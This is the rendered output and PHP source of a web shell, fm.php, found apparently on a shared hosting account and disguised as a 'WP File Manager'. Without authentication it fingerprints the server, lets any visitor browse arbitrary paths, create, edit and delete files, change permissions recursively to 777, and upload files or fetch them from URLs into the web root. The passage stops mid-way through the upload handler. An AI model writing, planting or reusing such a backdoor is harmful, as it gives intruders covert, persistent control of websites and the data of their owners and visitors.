Server : Apache
System : Linux biz302.inmotionhosting.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : walter44 ( 3083)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/walter44/.imh/

📁 Create New:
âŦ†ī¸ Upload File:
Current Dir [ Writable ] Root [ Writable ]


OR Upload from URL:
URL: Save as:

📄 File: fm.php

Path: /home/walter44/.imh/fm.php

Size: 50.9 KB

Permissions: 0644

<!DOCTYPE html>
<html>
<head>
	<title></title>
	<meta charset="UTF-8">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}

/* WordPress-like editor styles */
.edit-container {
	background: #23282d;
	padding: 20px;
	border-radius: 5px;
	margin: 10px 0;
	box-shadow: 0 2px 4px rgba(0,0,0,0.3);
}

.edit-container .editor-header {
	background: #32373c;
	padding: 15px 20px;
	margin: -20px -20px 15px -20px;
	border-radius: 5px 5px 0 0;
	border-bottom: 1px solid #1e1e1e;
}

.edit-container .editor-header h2 {
	margin: 0;
	color: #fff;
	font-size: 18px;
}

.edit-container .file-info {
	background: #32373c;
	padding: 12px 15px;
	margin-bottom: 15px;
	border-radius: 3px;
	border-left: 4px solid #00a0d2;
	display: flex;
	flex-wrap: wrap;
	gap: 15px;
}

.edit-container .file-info .info-item {
	color: #ddd;
	font-size: 13px;
}

.edit-container .file-info .info-item strong {
	color: #fff;
}

.edit-container .file-info .info-item .badge {
	background: #00a0d2;
	padding: 2px 8px;
	border-radius: 3px;
	font-size: 11px;
	color: #fff;
	margin-left: 5px;
}

.edit-container .editor-toolbar {
	background: #32373c;
	padding: 8px 12px;
	border-radius: 3px 3px 0 0;
	border: 1px solid #1e1e1e;
	border-bottom: none;
	display: flex;
	gap: 8px;
	flex-wrap: wrap;
}

.edit-container .editor-toolbar button {
	background: transparent;
	color: #ddd;
	border: 1px solid #555;
	padding: 4px 12px;
	border-radius: 3px;
	cursor: pointer;
	font-size: 12px;
	font-family: inherit;
	transition: all 0.2s;
}

.edit-container .editor-toolbar button:hover {
	background: #00a0d2;
	color: #fff;
	border-color: #00a0d2;
}

.edit-container .editor-toolbar .separator {
	width: 1px;
	background: #555;
	margin: 0 5px;
}

.edit-container textarea#editor {
	width: 100%;
	background: #1a1a1a;
	color: #abb8c3;
	border: 1px solid #1e1e1e;
	padding: 15px;
	font-family: 'Courier New', monospace;
	font-size: 13px;
	line-height: 1.7;
	min-height: 500px;
	resize: vertical;
	tab-size: 4;
	border-radius: 0 0 3px 3px;
	outline: none;
}

.edit-container textarea#editor:focus {
	border-color: #00a0d2;
	box-shadow: 0 0 0 1px #00a0d2;
}

.edit-container .editor-footer {
	background: #32373c;
	padding: 12px 15px;
	margin: 15px -20px -20px -20px;
	border-radius: 0 0 5px 5px;
	border-top: 1px solid #1e1e1e;
	display: flex;
	justify-content: space-between;
	align-items: center;
	flex-wrap: wrap;
	gap: 10px;
}

.edit-container .editor-footer .btn-primary {
	background: #00a0d2;
	color: #fff !important;
	border: none;
	padding: 8px 25px;
	border-radius: 3px;
	cursor: pointer;
	font-size: 14px;
	font-weight: bold;
	transition: background 0.2s;
}

.edit-container .editor-footer .btn-primary:hover {
	background: #0088b8;
}

.edit-container .editor-footer .btn-secondary {
	background: #555;
	color: #fff !important;
	border: none;
	padding: 8px 20px;
	border-radius: 3px;
	cursor: pointer;
	font-size: 13px;
	transition: background 0.2s;
}

.edit-container .editor-footer .btn-secondary:hover {
	background: #666;
}

.edit-container .editor-footer .btn-danger {
	background: #e14d43;
	color: #fff !important;
	border: none;
	padding: 8px 20px;
	border-radius: 3px;
	cursor: pointer;
	font-size: 13px;
	transition: background 0.2s;
}

.edit-container .editor-footer .btn-danger:hover {
	background: #c0392b;
}

.edit-container .editor-status {
	background: #32373c;
	padding: 5px 15px;
	margin: 0 -20px 15px -20px;
	border-bottom: 1px solid #1e1e1e;
	font-size: 12px;
	color: #888;
	display: flex;
	justify-content: space-between;
}

.edit-container .editor-status .status-indicator {
	display: inline-block;
	width: 10px;
	height: 10px;
	border-radius: 50%;
	margin-right: 5px;
}

.edit-container .editor-status .status-indicator.saved {
	background: #46b450;
}

.edit-container .editor-status .status-indicator.unsaved {
	background: #ffb900;
}

/* CHMOD Styles */
.chmod-container {
	background: #23282d;
	padding: 20px;
	border-radius: 5px;
	margin: 10px 0;
	box-shadow: 0 2px 4px rgba(0,0,0,0.3);
	max-width: 500px;
	margin-left: auto;
	margin-right: auto;
}

.chmod-container .chmod-header {
	background: #32373c;
	padding: 15px 20px;
	margin: -20px -20px 15px -20px;
	border-radius: 5px 5px 0 0;
	border-bottom: 1px solid #1e1e1e;
}

.chmod-container .chmod-header h2 {
	margin: 0;
	color: #fff;
	font-size: 18px;
}

.chmod-container .file-info {
	background: #32373c;
	padding: 12px 15px;
	margin-bottom: 15px;
	border-radius: 3px;
	border-left: 4px solid #ffb900;
}

.chmod-container .file-info .info-item {
	color: #ddd;
	font-size: 13px;
	display: block;
	margin: 3px 0;
}

.chmod-container .file-info .info-item strong {
	color: #fff;
}

.chmod-container .chmod-grid {
	display: grid;
	grid-template-columns: 80px 1fr 1fr 1fr;
	gap: 5px;
	padding: 10px;
	background: #1a1a1a;
	border-radius: 3px;
	margin-bottom: 15px;
}

.chmod-container .chmod-grid .label {
	color: #888;
	font-size: 12px;
	text-align: center;
	padding: 5px;
}

.chmod-container .chmod-grid .row-label {
	color: #ddd;
	font-size: 13px;
	padding: 5px;
	display: flex;
	align-items: center;
}

.chmod-container .chmod-grid .checkbox-group {
	display: flex;
	justify-content: center;
	align-items: center;
	gap: 10px;
	padding: 5px;
}

.chmod-container .chmod-grid .checkbox-group input[type="checkbox"] {
	width: 18px;
	height: 18px;
	cursor: pointer;
	accent-color: #00a0d2;
}

.chmod-container .chmod-grid .checkbox-group label {
	color: #ddd;
	font-size: 12px;
	cursor: pointer;
}

.chmod-container .chmod-presets {
	display: flex;
	gap: 8px;
	flex-wrap: wrap;
	margin-bottom: 15px;
}

.chmod-container .chmod-presets button {
	background: #32373c;
	color: #ddd;
	border: 1px solid #555;
	padding: 5px 15px;
	border-radius: 3px;
	cursor: pointer;
	font-size: 12px;
	transition: all 0.2s;
}

.chmod-container .chmod-presets button:hover {
	background: #00a0d2;
	border-color: #00a0d2;
	color: #fff;
}

.chmod-container .chmod-presets button.active {
	background: #00a0d2;
	border-color: #00a0d2;
	color: #fff;
}

.chmod-container .numeric-input {
	display: flex;
	align-items: center;
	gap: 10px;
	margin-bottom: 15px;
}

.chmod-container .numeric-input label {
	color: #ddd;
	font-size: 13px;
}

.chmod-container .numeric-input input[type="text"] {
	background: #1a1a1a;
	color: #fff;
	border: 1px solid #555;
	padding: 8px 12px;
	width: 80px;
	text-align: center;
	font-size: 16px;
	font-family: monospace;
	border-radius: 3px;
}

.chmod-container .numeric-input input[type="text"]:focus {
	border-color: #00a0d2;
	outline: none;
}

.chmod-container .chmod-actions {
	display: flex;
	gap: 10px;
	flex-wrap: wrap;
	margin-top: 15px;
}

.chmod-container .chmod-actions .btn-primary {
	background: #00a0d2;
	color: #fff !important;
	border: none;
	padding: 8px 25px;
	border-radius: 3px;
	cursor: pointer;
	font-size: 14px;
	font-weight: bold;
	transition: background 0.2s;
}

.chmod-container .chmod-actions .btn-primary:hover {
	background: #0088b8;
}

.chmod-container .chmod-actions .btn-secondary {
	background: #555;
	color: #fff !important;
	border: none;
	padding: 8px 20px;
	border-radius: 3px;
	cursor: pointer;
	font-size: 13px;
	transition: background 0.2s;
}

.chmod-container .chmod-actions .btn-secondary:hover {
	background: #666;
}

.chmod-container .chmod-actions .btn-danger {
	background: #e14d43;
	color: #fff !important;
	border: none;
	padding: 8px 20px;
	border-radius: 3px;
	cursor: pointer;
	font-size: 13px;
	transition: background 0.2s;
}

.chmod-container .chmod-actions .btn-danger:hover {
	background: #c0392b;
}

.chmod-container .recursive-option {
	background: #32373c;
	padding: 10px 15px;
	border-radius: 3px;
	margin: 10px 0;
	display: flex;
	align-items: center;
	gap: 10px;
}

.chmod-container .recursive-option input[type="checkbox"] {
	width: 16px;
	height: 16px;
	cursor: pointer;
	accent-color: #00a0d2;
}

.chmod-container .recursive-option label {
	color: #ddd;
	font-size: 13px;
	cursor: pointer;
}

.create-form {
	background: #2d2d2d;
	padding: 15px;
	border-radius: 5px;
	margin: 10px 0;
	display: inline-block;
}

.create-form input[type="text"] {
	background: #1a1a1a;
	color: #fff;
	border: 1px solid #444;
	padding: 8px 12px;
	margin: 5px;
	width: 200px;
}

.create-form input[type="submit"] {
	background: #4CAF50;
	color: #fff;
	border: none;
	padding: 8px 20px;
	cursor: pointer;
	border-radius: 3px;
}

.create-form input[type="submit"]:hover {
	background: #45a049;
}

.btn-success {
	background: #4CAF50;
	color: #fff !important;
	padding: 5px 15px;
	border-radius: 3px;
	text-decoration: none;
}

.btn-success:hover {
	background: #45a049;
	color: #fff !important;
}

.btn-info {
	background: #00a0d2;
	color: #fff !important;
	padding: 5px 15px;
	border-radius: 3px;
	text-decoration: none;
}

.btn-info:hover {
	background: #0088b8;
	color: #fff !important;
}

.btn-warning {
	background: #ffb900;
	color: #000 !important;
	padding: 5px 15px;
	border-radius: 3px;
	text-decoration: none;
}

.btn-warning:hover {
	background: #e5a800;
	color: #000 !important;
}
</style>
<center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<br>
<?php
set_time_limit(0);
error_reporting(0);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
	$disf = "<font color='gold'>NONE</font>";
} else {
	$disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
	echo "<center><br>WP File Manager</center>";
	exit();
}

function cekdir() {
	if (isset($_GET['path'])) {
		$lokasi = $_GET['path'];
	} else {
		$lokasi = getcwd();
	}
	if (is_writable($lokasi)) {
		return "<font color='green'>Writable</font>";
	} else {
		return "<font color='red'>Not Writable</font>";
	}
}

function cekroot() {
	if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
		return "<font color='green'>Writable</font>";
	} else {
		return "<font color='red'>Not Writable</font>";
	}
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function green($text) {
	echo "<center><div style='background: #2d4a2d; padding: 10px; border-radius: 3px; border-left: 4px solid #46b450; margin: 10px 0;'><font color='#7ad03a'>".$text."</font></div></center>";
}

function red($text) {
	echo "<center><div style='background: #4a2d2d; padding: 10px; border-radius: 3px; border-left: 4px solid #dc3232; margin: 10px 0;'><font color='#dc3232'>".$text."</font></div></center>";
}

function yellow($text) {
	echo "<center><div style='background: #4a3d2d; padding: 10px; border-radius: 3px; border-left: 4px solid #ffb900; margin: 10px 0;'><font color='#ffb900'>".$text."</font></div></center>";
}

// Helper function to format file size
function formatSize($size) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = 0;
    while ($size >= 1024 && $i < count($units) - 1) {
        $size /= 1024;
        $i++;
    }
    return round($size, 2) . ' ' . $units[$i];
}

// Function to get file extension with icon
function getFileIcon($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $icons = [
        'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜',
        'jpg' => 'đŸ–ŧī¸', 'jpeg' => 'đŸ–ŧī¸', 'png' => 'đŸ–ŧī¸', 'gif' => 'đŸ–ŧī¸',
        'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃',
        'zip' => 'đŸ“Ļ', 'rar' => 'đŸ“Ļ', 'tar' => 'đŸ“Ļ', 'gz' => 'đŸ“Ļ',
        'mp3' => 'đŸŽĩ', 'mp4' => 'đŸŽŦ', 'avi' => 'đŸŽŦ', 'mkv' => 'đŸŽŦ',
        'exe' => 'âš™ī¸', 'msi' => 'âš™ī¸', 'sql' => 'đŸ—„ī¸', 'xml' => '📋',
        'json' => '📋', 'log' => '📋', 'htaccess' => 'âš™ī¸'
    ];
    return isset($icons[$ext]) ? $icons[$ext] : '📄';
}

// Function to get permission name
function getPermissionName($perms) {
    $names = [
        '0644' => 'File (644) - Read/Write for owner, Read for others',
        '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others',
        '0640' => 'File (640) - Read/Write for owner, Read for group',
        '0664' => 'File (664) - Read/Write for owner and group, Read for others',
        '0777' => 'All permissions (777) - Read/Write/Execute for everyone',
        '0600' => 'File (600) - Read/Write for owner only',
        '0700' => 'Directory (700) - Read/Write/Execute for owner only',
        '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group',
        '0660' => 'File (660) - Read/Write for owner and group only',
    ];
    return isset($names[$perms]) ? $names[$perms] : 'Custom permission';
}

// WordPress-like editor with syntax highlighting
function wpEditor($file_path, $content = '') {
    $file_info = pathinfo($file_path);
    $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : '';
    $file_name = basename($file_path);
    
    // Get language for editor
    $lang = 'plaintext';
    $syntax_exts = [
        'php' => 'php', 'html' => 'html', 'htm' => 'html', 
        'css' => 'css', 'js' => 'javascript', 'json' => 'json',
        'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext',
        'log' => 'plaintext', 'htaccess' => 'apache'
    ];
    if (isset($syntax_exts[$file_ext])) {
        $lang = $syntax_exts[$file_ext];
    }
    
    $is_binary = false;
    $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp'];
    if (in_array($file_ext, $binary_exts)) {
        $is_binary = true;
    }
    
    $html = '<div class="edit-container">';
    $html .= '<div class="editor-header">';
    $html .= '<h2>📝 Edit File: ' . htmlspecialchars($file_name) . '</h2>';
    $html .= '</div>';
    
    $html .= '<div class="file-info">';
    $html .= '<span class="info-item"><strong>📁 Path:</strong> ' . htmlspecialchars($file_path) . '</span>';
    $html .= '<span class="info-item"><strong>📊 Size:</strong> ' . formatSize(filesize($file_path)) . '</span>';
    $html .= '<span class="info-item"><strong>📝 Type:</strong> ' . strtoupper($file_ext ?: 'Plain Text') . ' <span class="badge">' . $lang . '</span></span>';
    $html .= '<span class="info-item"><strong>🔒 Perm:</strong> ' . substr(sprintf('%o', fileperms($file_path)), -4) . '</span>';
    $html .= '</div>';
    
    if ($is_binary) {
        $html .= '<div style="background: #4a2d2d; padding: 20px; text-align: center; border-radius: 3px; color: #ffb900;">';
        $html .= 'âš ī¸ This is a binary file and cannot be edited in the text editor.<br>';
        $html .= '<a href="?fileloc=' . urlencode($file_path) . '&path=' . urlencode(dirname($file_path)) . '" class="btn-info" style="display: inline-block; margin-top: 10px;">View File</a>';
        $html .= '</div>';
        $html .= '</div>';
        return $html;
    }
    
    $html .= '<div class="editor-status">';
    $html .= '<span><span class="status-indicator saved"></span> <span id="statusText">Saved</span></span>';
    $html .= '<span>Lines: <span id="lineCount">' . substr_count($content, "\n") . '</span> | Characters: <span id="charCount">' . strlen($content) . '</span></span>';
    $html .= '</div>';
    
    $html .= '<form method="post" id="editorForm">';
    $html .= '<div class="editor-toolbar">';
    $html .= '<button type="button" onclick="insertText(\'\\t\')">Tab</button>';
    $html .= '<button type="button" onclick="insertText(\'\\n\')">New Line</button>';
    $html .= '<div class="separator"></div>';
    $html .= '<button type="button" onclick="insertText(\'&lt;?php ?&gt;\')">PHP</button>';
    $html .= '<button type="button" onclick="insertText(\'&lt;!-- --&gt;\')">HTML Comment</button>';
    $html .= '<button type="button" onclick="insertText(\'// \')">JS Comment</button>';
    $html .= '<button type="button" onclick="insertText(\'/* */\')">Multiline Comment</button>';
    $html .= '<div class="separator"></div>';
    $html .= '<button type="button" onclick="findAndReplace()">🔍 Find/Replace</button>';
    $html .= '<button type="button" onclick="toggleLineNumbers()">📏 Line Numbers</button>';
    $html .= '</div>';
    
    $html .= '<textarea id="editor" name="src" spellcheck="false" oninput="updateStatus()">' . htmlspecialchars($content) . '</textarea>';
    $html .= '<input type="hidden" name="path" value="' . htmlspecialchars($file_path) . '">';
    $html .= '<input type="hidden" name="pilih" value="edit">';
    $html .= '<input type="hidden" name="gasedit" value="1">';
    
    $html .= '<div class="editor-footer">';
    $html .= '<div>';
    $html .= '<button type="submit" class="btn-primary" onclick="return confirmSave()">💾 Save File</button>';
    $html .= ' <button type="button" class="btn-secondary" onclick="window.location.href=\'?path=' . urlencode(dirname($file_path)) . '\'">← Back to Directory</button>';
    $html .= '</div>';
    $html .= '<div>';
    $html .= '<button type="button" class="btn-danger" onclick="if(confirm(\'Are you sure you want to delete this file?\')){window.location.href=\'?delete=' . urlencode($file_path) . '\'}">đŸ—‘ī¸ Delete File</button>';
    $html .= ' <a href="' . htmlspecialchars($file_path) . '" target="_blank" class="btn-info" style="display: inline-block;">đŸ‘ī¸ Preview</a>';
    $html .= '</div>';
    $html .= '</div>';
    $html .= '</form>';
    $html .= '</div>';
    
    // JavaScript for editor
    $html .= '<script>
    function updateStatus() {
        var textarea = document.getElementById("editor");
        var lines = textarea.value.split("\\n").length;
        var chars = textarea.value.length;
        document.getElementById("lineCount").textContent = lines;
        document.getElementById("charCount").textContent = chars;
        document.querySelector(".status-indicator").className = "status-indicator unsaved";
        document.getElementById("statusText").textContent = "Unsaved";
    }
    
    function insertText(text) {
        var textarea = document.getElementById("editor");
        var start = textarea.selectionStart;
        var end = textarea.selectionEnd;
        textarea.value = textarea.value.substring(0, start) + text + textarea.value.substring(end);
        textarea.selectionStart = textarea.selectionEnd = start + text.length;
        textarea.focus();
        updateStatus();
    }
    
    function findAndReplace() {
        var find = prompt("Find:");
        if (find === null) return;
        var replace = prompt("Replace with:");
        if (replace === null) return;
        var textarea = document.getElementById("editor");
        textarea.value = textarea.value.split(find).join(replace);
        updateStatus();
    }
    
    function toggleLineNumbers() {
        var textarea = document.getElementById("editor");
        if (textarea.style.paddingLeft === "40px") {
            textarea.style.paddingLeft = "15px";
            textarea.style.paddingRight = "15px";
        } else {
            textarea.style.paddingLeft = "40px";
            textarea.style.paddingRight = "40px";
        }
    }
    
    function confirmSave() {
        var response = confirm("Save changes to this file?");
        if (response) {
            document.getElementById("statusText").textContent = "Saving...";
            return true;
        }
        return false;
    }
    
    // Keyboard shortcuts
    document.addEventListener("keydown", function(e) {
        if ((e.ctrlKey || e.metaKey) && e.key === "s") {
            e.preventDefault();
            document.getElementById("editorForm").submit();
        }
    });
    </script>';
    
    return $html;
}

// CHMOD Interface
function chmodInterface($path, $is_dir = false) {
    $current_perms = substr(sprintf('%o', fileperms($path)), -4);
    $perms_array = str_split($current_perms);
    
    $html = '<div class="chmod-container">';
    $html .= '<div class="chmod-header">';
    $html .= '<h2>🔒 Change Permissions</h2>';
    $html .= '</div>';
    
    $html .= '<div class="file-info">';
    $html .= '<span class="info-item"><strong>📁 Path:</strong> ' . htmlspecialchars($path) . '</span>';
    $html .= '<span class="info-item"><strong>📂 Type:</strong> ' . ($is_dir ? 'Directory' : 'File') . '</span>';
    $html .= '<span class="info-item"><strong>🔒 Current Perm:</strong> ' . $current_perms . ' (' . getPermissionName($current_perms) . ')</span>';
    $html .= '</div>';
    
    $html .= '<form method="post" id="chmodForm">';
    $html .= '<input type="hidden" name="path" value="' . htmlspecialchars($path) . '">';
    $html .= '<input type="hidden" name="pilih" value="ubahmod">';
    $html .= '<input type="hidden" name="chm0d" value="1">';
    
    // Permission Grid
    $html .= '<div class="chmod-grid">';
    $html .= '<div class="label"></div>';
    $html .= '<div class="label">Read</div>';
    $html .= '<div class="label">Write</div>';
    $html .= '<div class="label">Execute</div>';
    
    $rows = [
        'owner' => 'Owner',
        'group' => 'Group',
        'world' => 'Public'
    ];
    
    $perm_bits = [
        'owner' => ['r' => 4, 'w' => 2, 'x' => 1],
        'group' => ['r' => 4, 'w' => 2, 'x' => 1],
        'world' => ['r' => 4, 'w' => 2, 'x' => 1]
    ];
    
    $perm_values = [
        'owner' => intval($perms_array[0]),
        'group' => intval($perms_array[1]),
        'world' => intval($perms_array[2])
    ];
    
    foreach ($rows as $key => $label) {
        $html .= '<div class="row-label">' . $label . '</div>';
        $value = $perm_values[$key];
        $html .= '<div class="checkbox-group">';
        $html .= '<input type="checkbox" name="' . $key . '_read" value="1" ' . (($value & 4) ? 'checked' : '') . ' onchange="updateNumeric()">';
        $html .= '</div>';
        $html .= '<div class="checkbox-group">';
        $html .= '<input type="checkbox" name="' . $key . '_write" value="1" ' . (($value & 2) ? 'checked' : '') . ' onchange="updateNumeric()">';
        $html .= '</div>';
        $html .= '<div class="checkbox-group">';
        $html .= '<input type="checkbox" name="' . $key . '_execute" value="1" ' . (($value & 1) ? 'checked' : '') . ' onchange="updateNumeric()">';
        $html .= '</div>';
    }
    $html .= '</div>';
    
    // Presets
    $html .= '<div class="chmod-presets">';
    $html .= '<button type="button" onclick="setPreset(\'644\')">644 (File Default)</button>';
    $html .= '<button type="button" onclick="setPreset(\'755\')">755 (Directory Default)</button>';
    $html .= '<button type="button" onclick="setPreset(\'777\')">777 (Full Access)</button>';
    $html .= '<button type="button" onclick="setPreset(\'600\')">600 (Owner Only)</button>';
    $html .= '<button type="button" onclick="setPreset(\'640\')">640 (Owner+Group Read)</button>';
    $html .= '<button type="button" onclick="setPreset(\'660\')">660 (Owner+Group)</button>';
    $html .= '</div>';
    
    // Numeric input
    $html .= '<div class="numeric-input">';
    $html .= '<label>Numeric:</label>';
    $html .= '<input type="text" id="numericPerm" name="perm" value="' . $current_perms . '" oninput="updateCheckboxes()" maxlength="4">';
    $html .= '</div>';
    
    // Recursive option for directories
    if ($is_dir) {
        $html .= '<div class="recursive-option">';
        $html .= '<input type="checkbox" name="recursive" id="recursive" value="1">';
        $html .= '<label for="recursive">Apply recursively to all files and subdirectories</label>';
        $html .= '</div>';
    }
    
    $html .= '<div class="chmod-actions">';
    $html .= '<button type="submit" class="btn-primary" onclick="return confirm(\'Are you sure you want to change permissions?\')">Apply Changes</button>';
    $html .= '<button type="button" class="btn-secondary" onclick="window.location.href=\'?path=' . urlencode(dirname($path)) . '\'">Cancel</button>';
    $html .= '</div>';
    
    $html .= '</form>';
    $html .= '</div>';
    
    // JavaScript for CHMOD interface
    $html .= '<script>
    function updateNumeric() {
        var owner = 0, group = 0, world = 0;
        
        if (document.querySelector(\'input[name="owner_read"]\').checked) owner += 4;
        if (document.querySelector(\'input[name="owner_write"]\').checked) owner += 2;
        if (document.querySelector(\'input[name="owner_execute"]\').checked) owner += 1;
        
        if (document.querySelector(\'input[name="group_read"]\').checked) group += 4;
        if (document.querySelector(\'input[name="group_write"]\').checked) group += 2;
        if (document.querySelector(\'input[name="group_execute"]\').checked) group += 1;
        
        if (document.querySelector(\'input[name="world_read"]\').checked) world += 4;
        if (document.querySelector(\'input[name="world_write"]\').checked) world += 2;
        if (document.querySelector(\'input[name="world_execute"]\').checked) world += 1;
        
        document.getElementById("numericPerm").value = "" + owner + group + world;
    }
    
    function updateCheckboxes() {
        var val = document.getElementById("numericPerm").value;
        if (val.length === 3 || val.length === 4) {
            var perms = val.slice(-3);
            var owner = parseInt(perms[0]);
            var group = parseInt(perms[1]);
            var world = parseInt(perms[2]);
            
            document.querySelector(\'input[name="owner_read"]\').checked = (owner & 4) ? true : false;
            document.querySelector(\'input[name="owner_write"]\').checked = (owner & 2) ? true : false;
            document.querySelector(\'input[name="owner_execute"]\').checked = (owner & 1) ? true : false;
            
            document.querySelector(\'input[name="group_read"]\').checked = (group & 4) ? true : false;
            document.querySelector(\'input[name="group_write"]\').checked = (group & 2) ? true : false;
            document.querySelector(\'input[name="group_execute"]\').checked = (group & 1) ? true : false;
            
            document.querySelector(\'input[name="world_read"]\').checked = (world & 4) ? true : false;
            document.querySelector(\'input[name="world_write"]\').checked = (world & 2) ? true : false;
            document.querySelector(\'input[name="world_execute"]\').checked = (world & 1) ? true : false;
        }
    }
    
    function setPreset(perms) {
        document.getElementById("numericPerm").value = perms;
        updateCheckboxes();
    }
    </script>';
    
    return $html;
}

echo "Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "System : <font color='gold'>".php_uname()."</font><br>";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "Directory : &nbsp;";

foreach($_POST as $key => $value){
	$_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
	$lokasi = $_GET['path'];
	$lokdua = $_GET['path'];
} else {
	$lokasi = getcwd();
	$lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

foreach($lokasis as $id => $lok){
	if($lok == '' && $id == 0){
		$a = true;
		echo '<a href="?path=/">/</a>';
		continue;
	}
	if($lok == '') continue;
	echo '<a href="?path=';
	for($i=0;$i<=$id;$i++){
	echo "$lokasis[$i]";
	if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}
echo '<center>';
echo '</td></tr><tr><td><br>';

// ============================================
// CREATE FILE/FOLDER FUNCTIONALITY
// ============================================
if (isset($_POST['create_action'])) {
    if ($_POST['create_action'] == 'file') {
        $new_file = $lokasi . '/' . $_POST['new_filename'];
        if (file_exists($new_file)) {
            red("File already exists!");
        } else {
            if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) {
                chmod($new_file, 0644);
                green("File created successfully! <a href='?fileloc=" . urlencode($new_file) . "&path=" . urlencode($lokasi) . "'>" . htmlspecialchars($_POST['new_filename']) . "</a>");
            } else {
                red("Failed to create file! Check permissions.");
            }
        }
    } elseif ($_POST['create_action'] == 'folder') {
        $new_folder = $lokasi . '/' . $_POST['new_foldername'];
        if (file_exists($new_folder)) {
            red("Folder already exists!");
        } else {
            if (mkdir($new_folder, 0755)) {
                green("Folder created successfully! <a href='?path=" . urlencode($new_folder) . "'>" . htmlspecialchars($_POST['new_foldername']) . "</a>");
            } else {
                red("Failed to create folder! Check permissions.");
            }
        }
    }
}

// ============================================
// CHMOD FUNCTIONALITY (UPDATED)
// ============================================
if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
    $chmod_path = $_POST['path'];
    $is_dir = is_dir($chmod_path);
    
    // Handle CHMOD submission
    if (isset($_POST['chm0d']) && isset($_POST['perm'])) {
        $perm = $_POST['perm'];
        $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1;
        
        // Validate permission
        if (strlen($perm) == 3 || strlen($perm) == 4) {
            $perm = substr($perm, -3);
            $perm_octal = octdec($perm);
            
            if ($is_dir && $recursive) {
                // Recursive chmod
                $success = true;
                $count = 0;
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::SELF_FIRST
                );
                
                foreach ($iterator as $item) {
                    if (@chmod($item->getPathname(), $perm_octal)) {
                        $count++;
                    } else {
                        $success = false;
                    }
                }
                
                if ($success) {
                    green("✅ Permissions changed successfully for <strong>" . $count . "</strong> items in " . htmlspecialchars($chmod_path) . " to <strong>" . $perm . "</strong>");
                } else {
                    yellow("âš ī¸ Permissions changed for " . $count . " items, but some failed. Check permissions.");
                }
            } else {
                // Single file/directory chmod
                if (@chmod($chmod_path, $perm_octal)) {
                    green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to <strong>" . $perm . "</strong>");
                } else {
                    red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path));
                }
            }
        } else {
            red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)");
        }
    }
    
    // Display CHMOD interface
    echo chmodInterface($chmod_path, $is_dir);
    echo '<br><a href="?path=' . urlencode(dirname($chmod_path)) . '" class="btn-info">← Back to Directory</a>';
    author();
}

// ============================================
// IMPROVED UPLOAD SECTION WITH OVERWRITE
// ============================================
if (isset($_POST['upwkwk'])) {
    $upload_dir = $lokasi;
    
    if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") {
        $upload_dir = $_SERVER['DOCUMENT_ROOT'];
    }
    
    // Handle file upload from local machine
    if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) {
        $uploaded_file = $_FILES['berkas'];
        
        if ($uploaded_file['error'] !== UPLOAD_ERR_OK) {
            $error_messages = [
